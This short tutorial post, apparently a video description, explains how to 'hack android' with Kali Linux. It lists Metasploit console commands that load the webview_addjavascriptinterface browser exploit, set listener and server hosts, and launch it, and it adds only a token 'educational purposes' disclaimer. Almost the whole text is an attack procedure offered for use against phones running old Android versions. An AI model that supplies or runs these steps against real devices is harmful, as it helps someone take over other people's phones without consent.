How to hack android without payload using kali linux 2

How to hack android without payload using kali linux 2 2.016 rolling
(ONLY FOR EDUCATIONAL PURPOSES)
It does NOT work with all android.
It works with 3.x.x, and more.
commands:
msfconsole
use exploit/android/browser/webview_addjavascriptinterface
set lhost 192.168.1.x.x
set srvhost 192.168.1.x.x
set uripath /
exploit
…
SUBSCRIBE, SHARE, LIKE.